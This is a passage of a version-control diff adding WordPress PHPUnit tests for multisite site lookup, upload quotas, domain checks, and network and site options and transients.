+	 * behavior would be expected if passing `false` explicitly to `wpmu_delete_blog()`.
+	 */
+	function test_get_blog_id_from_url_with_deleted_flag() {
+		$blog_id = $this->factory->blog->create();
+		$details = get_blog_details( $blog_id, false );
+		$key = md5( $details->domain . $details->path );
+		wpmu_delete_blog( $blog_id );
+
+		$this->assertEquals( $blog_id, get_blog_id_from_url( $details->domain, $details->path ) );
+		$this->assertEquals( $blog_id, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * When deleted with the drop parameter as true, the cache will first be false, then set to
+	 * -1 after an attempt at `get_blog_id_from_url()` is made.
+	 */
+	function test_get_blog_id_from_url_after_dropped() {
+		$blog_id = $this->factory->blog->create();
+		$details = get_blog_details( $blog_id, false );
+		$key = md5( $details->domain . $details->path );
+		wpmu_delete_blog( $blog_id, true );
+
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+		$this->assertEquals( 0, get_blog_id_from_url( $details->domain, $details->path ) );
+		$this->assertEquals( -1, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * Test with default parameter of site_id as null.
+	 */
+	function test_is_main_site() {
+		$this->assertTrue( is_main_site() );
+	}
+
+	/**
+	 * Test with a site id of get_current_blog_id(), which should be the same as the
+	 * default parameter tested above.
+	 */
+	function test_current_blog_id_is_main_site() {
+		$this->assertTrue( is_main_site( get_current_blog_id() ) );
+	}
+
+	/**
+	 * Test with a site ID other than the main site to ensure a false response.
+	 */
+	function test_is_main_site_is_false_with_other_blog_id() {
+		$blog_id = $this->factory->blog->create();
+
+		$this->assertFalse( is_main_site( $blog_id ) );
+	}
+
+	/**
+	 * Test with no passed ID after switching to another site ID.
+	 */
+	function test_is_main_site_is_false_after_switch_to_blog() {
+		$blog_id = $this->factory->blog->create();
+		switch_to_blog( $blog_id );
+
+		$this->assertFalse( is_main_site() );
+
+		restore_current_blog();
+	}
+
+	function test_switch_upload_dir() {
+		$this->assertTrue( is_main_site() );
+
+		$site = get_current_site();
+
+		$info = wp_upload_dir();
+		$this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+
+		$blog_id = $this->factory->blog->create();
+
+		switch_to_blog( $blog_id );
+		$info = wp_upload_dir();
+		$this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/sites/' . get_current_blog_id() . '/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/sites/' . get_current_blog_id() . '/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+		restore_current_blog();
+
+		$info = wp_upload_dir();
+		$this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+	}
+
+	/**
+	 * Tests to handle the possibilities provided for in `get_space_allowed()`,
+	 * which is used when checking for upload quota limits. Originally part of
+	 * ticket #18119.
+	 */
+	function test_get_space_allowed_default() {
+		$this->assertEquals( 100, get_space_allowed() );
+	}
+
+	/**
+	 * When an individual site's option is defined, it is used over the option
+	 * defined at the network level.
+	 */
+	function test_get_space_allowed_from_blog_option() {
+		update_option( 'blog_upload_space', 123 );
+		update_site_option( 'blog_upload_space', 200 );
+		$this->assertEquals( 123, get_space_allowed() );
+	}
+
+	/**
+	 * If an individual site's option is not available, the default network
+	 * level option is used as a fallback.
+	 */
+	function test_get_space_allowed_from_network_option() {
+		update_option( 'blog_upload_space', false );
+		update_site_option( 'blog_upload_space', 200 );
+		$this->assertEquals( 200, get_space_allowed() );
+	}
+
+	/**
+	 * If neither the site or network options are available, 100 is used as
+	 * a hard coded fallback.
+	 */
+	function test_get_space_allowed_no_option_fallback() {
+		update_option( 'blog_upload_space', false );
+		update_site_option( 'blog_upload_space', false );
+		$this->assertEquals( 100, get_space_allowed() );
+	}
+
+	function test_get_space_allowed_negative_blog_option() {
+		update_option( 'blog_upload_space', -1 );
+		update_site_option( 'blog_upload_space', 200 );
+		$this->assertEquals( -1, get_space_allowed() );
+	}
+
+	function test_get_space_allowed_negative_site_option() {
+		update_option( 'blog_upload_space', false );
+		update_site_option( 'blog_upload_space', -1 );
+		$this->assertEquals( -1, get_space_allowed() );
+	}
+
+	/**
+	 * Provide a hardcoded amount for space used when testing upload quota,
+	 * allowed space, and available space.
+	 *
+	 * @return int
+	 */
+	function _filter_space_used() {
+		return 300;
+	}
+
+	function test_upload_is_user_over_quota_default() {
+		$this->assertFalse( upload_is_user_over_quota( false ) );
+	}
+
+	function test_upload_is_user_over_quota_check_enabled() {
+		update_site_option('upload_space_check_disabled', false);
+		$this->assertFalse( upload_is_user_over_quota( false ) );
+	}
+
+	/**
+	 * When the upload space check is disabled, using more than the available
+	 * quota is allowed.
+	 */
+	function test_upload_is_user_over_check_disabled() {
+		update_site_option( 'upload_space_check_disabled', true );
+		update_site_option( 'blog_upload_space', 100 );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+
+		$this->assertFalse( upload_is_user_over_quota( false ) );
+
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+	}
+
+	/**
+	 * If 0 is set for `blog_upload_space`, a fallback of 100 is used.
+	 */
+	function test_upload_is_user_over_quota_upload_space_0() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', 0 );
+		$this->assertFalse( upload_is_user_over_quota( false ) );
+	}
+
+	/**
+	 * Filter the space space used as 300 to trigger a true upload quota
+	 * without requiring actual files.
+	 */
+	function test_upload_is_user_over_quota_upload_space_0_filter_space_used() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', 0 );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+
+		$this->assertTrue( upload_is_user_over_quota( false ) );
+
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+	}
+
+	function test_upload_is_user_over_quota_upload_space_200() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', 200 );
+		$this->assertFalse( upload_is_user_over_quota( false ) );
+	}
+
+	function test_upload_is_user_over_quota_upload_space_200_filter_space_used() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', 200 );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+
+		$this->assertTrue( upload_is_user_over_quota( false ) );
+
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+	}
+
+	/**
+	 * If the space used is exactly the same as the available quota, an over
+	 * quota response is not expected.
+	 */
+	function test_upload_is_user_over_quota_upload_space_exact() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', 300 );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+
+		$this->assertFalse( upload_is_user_over_quota( false ) );
+
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+	}
+
+	function test_upload_is_user_over_quota_upload_space_negative() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', -1 );
+		$this->assertTrue( upload_is_user_over_quota( false ) );
+	}
+
+	function test_is_upload_space_available_default() {
+		$this->assertTrue( is_upload_space_available() );
+	}
+
+	function test_is_upload_space_available_check_disabled() {
+		update_site_option( 'upload_space_check_disabled', true );
+		$this->assertTrue( is_upload_space_available() );
+	}
+
+	function test_is_upload_space_available_space_used_is_less() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', 350 );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+
+		$this->assertTrue( is_upload_space_available() );
+
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+	}
+
+	function test_is_upload_space_available_space_used_is_more() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', 250 );
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+
+		$this->assertFalse( is_upload_space_available() );
+
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+	}
+
+	function test_is_upload_space_available_upload_space_0() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', 0 );
+		$this->assertTrue( is_upload_space_available() );
+	}
+
+	function test_is_upload_space_available_upload_space_negative() {
+		update_site_option( 'upload_space_check_disabled', false );
+		update_site_option( 'blog_upload_space', -1 );
+		$this->assertFalse( is_upload_space_available() );
+	}
+
+	/**
+	 * Test the primary purpose of get_blog_post(), to retrieve a post from
+	 * another site on the network.
+	 */
+	function test_get_blog_post_from_another_site_on_network() {
+		$blog_id = $this->factory->blog->create();
+		$post_id = $this->factory->post->create(); // Create a post on the primary site, ID 1.
+		$post = get_post( $post_id );
+		switch_to_blog( $blog_id );
+
+		// The post created and retrieved on the main site should match the one retrieved "remotely".
+		$this->assertEquals( $post, get_blog_post( 1, $post_id ) );
+
+		restore_current_blog();
+	}
+
+	/**
+	 * If get_blog_post() is used on the same site, it should still work.
+	 */
+	function test_get_blog_post_from_same_site() {
+		$post_id = $this->factory->post->create();
+
+		$this->assertEquals( get_blog_post( 1, $post_id ), get_post( $post_id ) );
+	}
+
+	/**
+	 * A null response should be returned if an invalid post is requested.
+	 */
+	function test_get_blog_post_invalid_returns_null() {
+		$this->assertNull( get_blog_post( 1, 999999 ) );
+	}
+
+	/**
+	 * Added as a callback to the domain_exists filter to provide manual results for
+	 * the testing of the filter and for a test which does not need the database.
+	 */
+	function _domain_exists_cb( $exists, $domain, $path, $site_id ) {
+		if ( 'foo' == $domain && 'bar/' == $path )
+			return 1234;
+		else
+			return null;
+	}
+
+	function test_domain_exists_with_default_site_id() {
+		$details = get_blog_details( 1, false );
+
+		$this->assertEquals( 1, domain_exists( $details->domain, $details->path ) );
+	}
+
+	function test_domain_exists_with_specified_site_id() {
+		$details = get_blog_details( 1, false );
+
+		$this->assertEquals( 1, domain_exists( $details->domain, $details->path, $details->site_id ) );
+	}
+
+	/**
+	 * When the domain is valid, but the resulting site does not belong to the specified network,
+	 * it is marked as not existing.
+	 */
+	function test_domain_does_not_exist_with_invalid_site_id() {
+		$details = get_blog_details( 1, false );
+
+		$this->assertEquals( null, domain_exists( $details->domain, $details->path, 999 ) );
+	}
+
+	function test_invalid_domain_does_not_exist_with_default_site_id() {
+		$this->assertEquals( null, domain_exists( 'foo', 'bar' ) );
+	}
+
+	function test_domain_filtered_to_exist() {
+		add_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+
+		$this->assertEquals( 1234, domain_exists( 'foo', 'bar' ) );
+
+		remove_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+	}
+
+	/**
+	 * When a path is passed to domain_exists, it is immediately trailing slashed. A path
+	 * value with or without the slash should result in the same return value.
+	 */
+	function test_slashed_path_in_domain_exists() {
+		add_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+
+		// Make sure the same result is returned with or without a trailing slash
+		$this->assertEquals( domain_exists( 'foo', 'bar' ), domain_exists( 'foo', 'bar/' ) );
+
+		remove_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+	}
+}
+
+endif;
Index: /tags/4.1.6/tests/phpunit/tests/option/multisite.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/option/multisite.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/option/multisite.php	(revision 33402)
@@ -0,0 +1,222 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to network and site options in Multisite.
+ *
+ * @group option
+ * @group ms-option
+ * @group multisite
+ */
+class Tests_Multisite_Option extends WP_UnitTestCase {
+	protected $suppress = false; 
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		$_SERVER['REMOTE_ADDR'] = null;
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	function test_from_same_site() {
+		$key = rand_str();
+		$key2 = rand_str();
+		$value = rand_str();
+		$value2 = rand_str();
+
+		$this->assertFalse( get_blog_option( 1, 'doesnotexist' ) );
+		$this->assertFalse( get_option( 'doesnotexist' ) ); // check get_option()
+
+		$this->assertTrue( add_blog_option( 1, $key, $value ) );
+		// Assert all values of $blog_id that means the current or main blog (the same here).
+		$this->assertEquals( $value, get_blog_option( 1, $key ) );
+		$this->assertEquals( $value, get_blog_option( null, $key ) );
+		$this->assertEquals( $value, get_blog_option( '1', $key ) );
+		$this->assertEquals( $value, get_option( $key ) ); // check get_option()
+
+		$this->assertFalse( add_blog_option( 1, $key, $value ) );  // Already exists
+		$this->assertFalse( update_blog_option( 1, $key, $value ) );  // Value is the same
+		$this->assertTrue( update_blog_option( 1, $key, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( 1, $key ) );
+		$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+		$this->assertFalse( add_blog_option( 1, $key, $value ) );
+		$this->assertEquals( $value2, get_blog_option( 1, $key ) );
+		$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+
+		$this->assertTrue( delete_blog_option( 1, $key ) );
+		$this->assertFalse( get_blog_option( 1, $key ) );
+		$this->assertFalse( get_option( $key ) ); // check get_option()
+		$this->assertFalse( delete_blog_option( 1, $key ) );
+		$this->assertTrue( update_blog_option( 1, $key2, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( 1, $key2 ) );
+		$this->assertEquals( $value2, get_option( $key2 ) ); // check get_option()
+		$this->assertTrue( delete_blog_option( 1, $key2 ) );
+		$this->assertFalse( get_blog_option( 1, $key2 ) );
+		$this->assertFalse( get_option( $key2 ) ); // check get_option()
+	}
+
+	function test_from_same_site_with_null_blog_id() {
+		$key = rand_str();
+		$key2 = rand_str();
+		$value = rand_str();
+		$value2 = rand_str();
+
+		$this->assertFalse( get_blog_option( null, 'doesnotexist' ) );
+		$this->assertFalse( get_option( 'doesnotexist' ) ); // check get_option()
+
+		$this->assertTrue( add_blog_option( null, $key, $value ) );
+		// Assert all values of $blog_id that means the current or main blog (the same here).
+		$this->assertEquals( $value, get_blog_option( null, $key ) );
+		$this->assertEquals( $value, get_blog_option( null, $key ) );
+		$this->assertEquals( $value, get_option( $key ) ); // check get_option()
+
+		$this->assertFalse( add_blog_option( null, $key, $value ) );  // Already exists
+		$this->assertFalse( update_blog_option( null, $key, $value ) );  // Value is the same
+		$this->assertTrue( update_blog_option( null, $key, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( null, $key ) );
+		$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+		$this->assertFalse( add_blog_option( null, $key, $value ) );
+		$this->assertEquals( $value2, get_blog_option( null, $key ) );
+		$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+
+		$this->assertTrue( delete_blog_option( null, $key ) );
+		$this->assertFalse( get_blog_option( null, $key ) );
+		$this->assertFalse( get_option( $key ) ); // check get_option()
+		$this->assertFalse( delete_blog_option( null, $key ) );
+		$this->assertTrue( update_blog_option( null, $key2, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( null, $key2 ) );
+		$this->assertEquals( $value2, get_option( $key2 ) ); // check get_option()
+		$this->assertTrue( delete_blog_option( null, $key2 ) );
+		$this->assertFalse( get_blog_option( null, $key2 ) );
+		$this->assertFalse( get_option( $key2 ) ); // check get_option()
+	}
+
+	function test_with_another_site() {
+		global $current_site, $base;
+
+		$title = 'Fooblog';
+		$domain = 'blogoptiontest';
+
+		if ( is_subdomain_install() ) {
+			$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', $current_site->domain );
+			$path = $base;
+		} else {
+			$newdomain = $current_site->domain;
+			$path = $base . $domain . '/';
+		}
+
+		$email = 'foo@foo.foo';
+		$password = wp_generate_password( 12, false );
+		$user_id = wpmu_create_user( $domain, $password, $email );
+		$this->assertInternalType( 'integer', $user_id );
+
+		$blog_id = wpmu_create_blog( $newdomain, $path, $title, $user_id , array( 'public' => 1 ), $current_site->id );
+		$this->assertInternalType( 'integer', $blog_id );
+
+		$key = rand_str();
+		$key2 = rand_str();
+		$value = rand_str();
+		$value2 = rand_str();
+
+		$this->assertFalse( get_blog_option( $blog_id, 'doesnotexist' ) );
+		//$this->assertFalse( get_option( 'doesnotexist' ) ); // check get_option()
+
+		$this->assertTrue( add_blog_option( $blog_id, $key, $value ) );
+		// Assert all values of $blog_id that means the current or main blog (the same here).
+		$this->assertEquals( $value, get_blog_option( $blog_id, $key ) );
+		$this->assertEquals( $value, get_blog_option( "$blog_id", $key ) );
+		//$this->assertEquals( $value, get_option( $key ) ); // check get_option()
+
+		$this->assertFalse( add_blog_option( $blog_id, $key, $value ) );  // Already exists
+		$this->assertFalse( update_blog_option( $blog_id, $key, $value ) );  // Value is the same
+		$this->assertTrue( update_blog_option( $blog_id, $key, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( $blog_id, $key ) );
+		//$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+		$this->assertFalse( add_blog_option( $blog_id, $key, $value ) );
+		$this->assertEquals( $value2, get_blog_option( $blog_id, $key ) );
+		//$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+
+		$this->assertTrue( delete_blog_option( $blog_id, $key ) );
+		$this->assertFalse( get_blog_option( $blog_id, $key ) );
+		//$this->assertFalse( get_option( $key ) ); // check get_option()
+		$this->assertFalse( delete_blog_option( $blog_id, $key ) );
+		$this->assertTrue( update_blog_option( $blog_id, $key2, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( $blog_id, $key2 ) );
+		//$this->assertEquals( $value2, get_option( $key2 ) ); // check get_option()
+		$this->assertTrue( delete_blog_option( $blog_id, $key2 ) );
+		$this->assertFalse( get_blog_option( $blog_id, $key2 ) );
+		//$this->assertFalse( get_option( $key2 ) ); // check get_option()
+	}
+
+	/**
+	 * @group multisite
+	 */
+	function test_site_notoptions() {
+		global $wpdb;
+		$notoptions_key = "{$wpdb->siteid}:notoptions";
+
+		$_notoptions = wp_cache_get( 'notoptions', 'site-options' );
+		$this->assertEmpty( $_notoptions );
+		$_notoptions1 = wp_cache_get( $notoptions_key, 'site-options' );
+		$this->assertEmpty( $_notoptions1 );
+
+		get_site_option( 'burrito' );
+
+		$notoptions = wp_cache_get( 'notoptions', 'site-options' );
+		$this->assertEmpty( $notoptions );
+		$notoptions1 = wp_cache_get( $notoptions_key, 'site-options' );
+		$this->assertNotEmpty( $notoptions1 );
+	}
+
+	function test_users_can_register_signup_filter() {
+
+		$registration = get_site_option('registration');
+		$this->assertFalse( users_can_register_signup_filter() );
+
+		update_site_option('registration', 'all');
+		$this->assertTrue( users_can_register_signup_filter() );
+
+		update_site_option('registration', 'user');
+		$this->assertTrue( users_can_register_signup_filter() );
+
+		update_site_option('registration', 'none');
+		$this->assertFalse( users_can_register_signup_filter() );
+	}
+
+	/**
+	 * @ticket 21552
+	 * @ticket 23418
+	 */
+	function test_sanitize_ms_options() {
+		update_site_option( 'illegal_names', array( '', 'Woo', '' ) );
+		update_site_option( 'limited_email_domains', array(  'woo', '', 'boo.com', 'foo.net.biz..'  ) );
+		update_site_option( 'banned_email_domains', array(  'woo', '', 'boo.com', 'foo.net.biz..'  ) );
+
+		$this->assertEquals( array( 'Woo' ), get_site_option( 'illegal_names' ) );
+		$this->assertEquals( array( 'woo', 'boo.com' ), get_site_option( 'limited_email_domains' ) );
+		$this->assertEquals( array( 'woo', 'boo.com' ), get_site_option( 'banned_email_domains' ) );
+
+		update_site_option( 'illegal_names', 'foo bar' );
+		update_site_option( 'limited_email_domains', "foo\nbar" );
+		update_site_option( 'banned_email_domains', "foo\nbar" );
+
+		$this->assertEquals( array( 'foo', 'bar' ), get_site_option( 'illegal_names' ) );
+		$this->assertEquals( array( 'foo', 'bar' ), get_site_option( 'limited_email_domains' ) );
+		$this->assertEquals( array( 'foo', 'bar' ), get_site_option( 'banned_email_domains' ) );
+
+		foreach ( array( 'illegal_names', 'limited_email_domains', 'banned_email_domains' ) as $option ) {
+			update_site_option( $option, array() );
+			$this->assertSame( '', get_site_option( $option ) );
+		}
+	}
+}
+
+endif;
Index: /tags/4.1.6/tests/phpunit/tests/option/option.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/option/option.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/option/option.php	(revision 33402)
@@ -0,0 +1,102 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_Option extends WP_UnitTestCase {
+
+	function __return_foo() {
+		return 'foo';
+	}
+
+	function test_the_basics() {
+		$key = rand_str();
+		$key2 = rand_str();
+		$value = rand_str();
+		$value2 = rand_str();
+
+		$this->assertFalse( get_option( 'doesnotexist' ) );
+		$this->assertTrue( add_option( $key, $value ) );
+		$this->assertEquals( $value, get_option( $key ) );
+		$this->assertFalse( add_option( $key, $value ) );  // Already exists
+		$this->assertFalse( update_option( $key, $value ) );  // Value is the same
+		$this->assertTrue( update_option( $key, $value2 ) );
+		$this->assertEquals( $value2, get_option( $key ) );
+		$this->assertFalse( add_option( $key, $value ) );
+		$this->assertEquals( $value2, get_option( $key ) );
+		$this->assertTrue( delete_option( $key ) );
+		$this->assertFalse( get_option( $key ) );
+		$this->assertFalse( delete_option( $key ) );
+
+		$this->assertTrue( update_option( $key2, $value2 ) );
+		$this->assertEquals( $value2, get_option( $key2 ) );
+		$this->assertTrue( delete_option( $key2 ) );
+		$this->assertFalse( get_option( $key2 ) );
+	}
+
+	function test_default_filter() {
+		$random = rand_str();
+
+		$this->assertFalse( get_option( 'doesnotexist' ) );
+
+		// Default filter overrides $default arg.
+		add_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( 'foo', get_option( 'doesnotexist', 'bar' ) );
+
+		// Remove the filter and the $default arg is honored.
+		remove_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( 'bar', get_option( 'doesnotexist', 'bar' ) );
+
+		// Once the option exists, the $default arg and the default filter are ignored.
+		add_option( 'doesnotexist', $random );
+		$this->assertEquals( $random, get_option( 'doesnotexist', 'foo' ) );
+		add_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( $random, get_option( 'doesnotexist', 'foo' ) );
+		remove_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+
+		// Cleanup
+		$this->assertTrue( delete_option( 'doesnotexist' ) );
+		$this->assertFalse( get_option( 'doesnotexist' ) );
+	}
+
+	function test_serialized_data() {
+		$key = rand_str();
+		$value = array( 'foo' => true, 'bar' => true );
+
+		$this->assertTrue( add_option( $key, $value ) );
+		$this->assertEquals( $value, get_option( $key ) );
+
+		$value = (object) $value;
+		$this->assertTrue( update_option( $key, $value ) );
+		$this->assertEquals( $value, get_option( $key ) );
+		$this->assertTrue( delete_option( $key ) );
+	}
+
+	/**
+	 * @ticket 23289
+	 */
+	function test_bad_option_names() {
+		foreach ( array( '', '0', ' ', 0, false, null ) as $empty ) {
+			$this->assertFalse( get_option( $empty ) );
+			$this->assertFalse( add_option( $empty, '' ) );
+			$this->assertFalse( update_option( $empty, '' ) );
+			$this->assertFalse( delete_option( $empty ) );
+		}
+	}
+
+	/**
+	 * @ticket 23289
+	 * @expectedException WPDieException
+	 */
+	function test_special_option_name_alloption() {
+		delete_option( 'alloptions' );
+	}
+
+	/**
+	 * @ticket 23289
+	 * @expectedException WPDieException
+	 */
+	function test_special_option_name_notoptions() {
+		delete_option( 'notoptions' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/option/siteOption.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/option/siteOption.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/option/siteOption.php	(revision 33402)
@@ -0,0 +1,93 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_SiteOption extends WP_UnitTestCase {
+	function __return_foo() {
+		return 'foo';
+	}
+
+	function test_the_basics() {
+		$key = rand_str();
+		$key2 = rand_str();
+		$value = rand_str();
+		$value2 = rand_str();
+
+		$this->assertFalse( get_site_option( 'doesnotexist' ) );
+		$this->assertTrue( add_site_option( $key, $value ) );
+		$this->assertEquals( $value, get_site_option( $key ) );
+		$this->assertFalse( add_site_option( $key, $value ) );  // Already exists
+		$this->assertFalse( update_site_option( $key, $value ) );  // Value is the same
+		$this->assertTrue( update_site_option( $key, $value2 ) );
+		$this->assertEquals( $value2, get_site_option( $key ) );
+		$this->assertFalse( add_site_option( $key, $value ) );
+		$this->assertEquals( $value2, get_site_option( $key ) );
+		$this->assertTrue( delete_site_option( $key ) );
+		$this->assertFalse( get_site_option( $key ) );
+		$this->assertFalse( delete_site_option( $key ) );
+
+		$this->assertTrue( update_site_option( $key2, $value2 ) );
+		$this->assertEquals( $value2, get_site_option( $key2 ) );
+		$this->assertTrue( delete_site_option( $key2 ) );
+		$this->assertFalse( get_site_option( $key2 ) );
+	}
+
+	function test_default_filter() {
+		$random = rand_str();
+
+		$this->assertFalse( get_site_option( 'doesnotexist' ) );
+
+		// Default filter overrides $default arg.
+		add_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( 'foo', get_site_option( 'doesnotexist', 'bar' ) );
+
+		// Remove the filter and the $default arg is honored.
+		remove_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( 'bar', get_site_option( 'doesnotexist', 'bar' ) );
+
+		// Once the option exists, the $default arg and the default filter are ignored.
+		add_site_option( 'doesnotexist', $random );
+		$this->assertEquals( $random, get_site_option( 'doesnotexist', 'foo' ) );
+		add_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( $random, get_site_option( 'doesnotexist', 'foo' ) );
+		remove_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+
+		// Cleanup
+		$this->assertTrue( delete_site_option( 'doesnotexist' ) );
+		$this->assertFalse( get_site_option( 'doesnotexist' ) );
+	}
+
+	function test_serialized_data() {
+		$key = rand_str();
+		$value = array( 'foo' => true, 'bar' => true );
+
+		$this->assertTrue( add_site_option( $key, $value ) );
+		$this->assertEquals( $value, get_site_option( $key ) );
+
+		$value = (object) $value;
+		$this->assertTrue( update_site_option( $key, $value ) );
+		$this->assertEquals( $value, get_site_option( $key ) );
+		$this->assertTrue( delete_site_option( $key ) );
+	}
+
+	// #15497 - ensure update_site_option will add options with false-y values
+	function test_update_adds_falsey_value() {
+		$key = rand_str();
+		$value = 0;
+
+		delete_site_option( $key );
+		$this->assertTrue( update_site_option( $key, $value ) );
+		wp_cache_flush(); // ensure we're getting the value from the DB
+		$this->assertEquals( $value, get_site_option( $key ) );
+	}
+
+	// #18955 - ensure get_site_option doesn't cache the default value for non-existent options
+	function test_get_doesnt_cache_default_value() {
+		$option = rand_str();
+		$default = 'a default';
+
+		$this->assertEquals( get_site_option( $option, $default ), $default );
+		$this->assertFalse( get_site_option( $option ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/option/siteTransient.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/option/siteTransient.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/option/siteTransient.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_SiteTransient extends WP_UnitTestCase {
+
+	function test_the_basics() {
+		$key = rand_str();
+		$value = rand_str();
+		$value2 = rand_str();
+
+		$this->assertFalse( get_site_transient( 'doesnotexist' ) );
+		$this->assertTrue( set_site_transient( $key, $value ) );
+		$this->assertEquals( $value, get_site_transient( $key ) );
+		$this->assertFalse( set_site_transient( $key, $value ) );
+		$this->assertTrue( set_site_transient( $key, $value2 ) );
+		$this->assertEquals( $value2, get_site_transient( $key ) );
+		$this->assertTrue( delete_site_transient( $key ) );
+		$this->assertFalse( get_site_transient( $key ) );
+		$this->assertFalse( delete_site_transient( $key ) );
+	}
+
+	function test_serialized_data() {
+		$key = rand_str();
+		$value = array( 'foo' => true, 'bar' => true );
+
+		$this->assertTrue( set_site_transient( $key, $value ) );
+		$this->assertEquals( $value, get_site_transient( $key ) );
+
+		$value = (object) $value;
+		$this->assertTrue( set_site_transient( $key, $value ) );
+		$this->assertEquals( $value, get_site_transient( $key ) );
+		$this->assertTrue( delete_site_transient( $key ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/option/slashes.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/option/slashes.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/option/slashes.php	(revision 33402)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * @group option
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Option_Slashes extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		// it is important to test with both even and odd numbered slashes as
+		// kses does a strip-then-add slashes in some of it's function calls
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
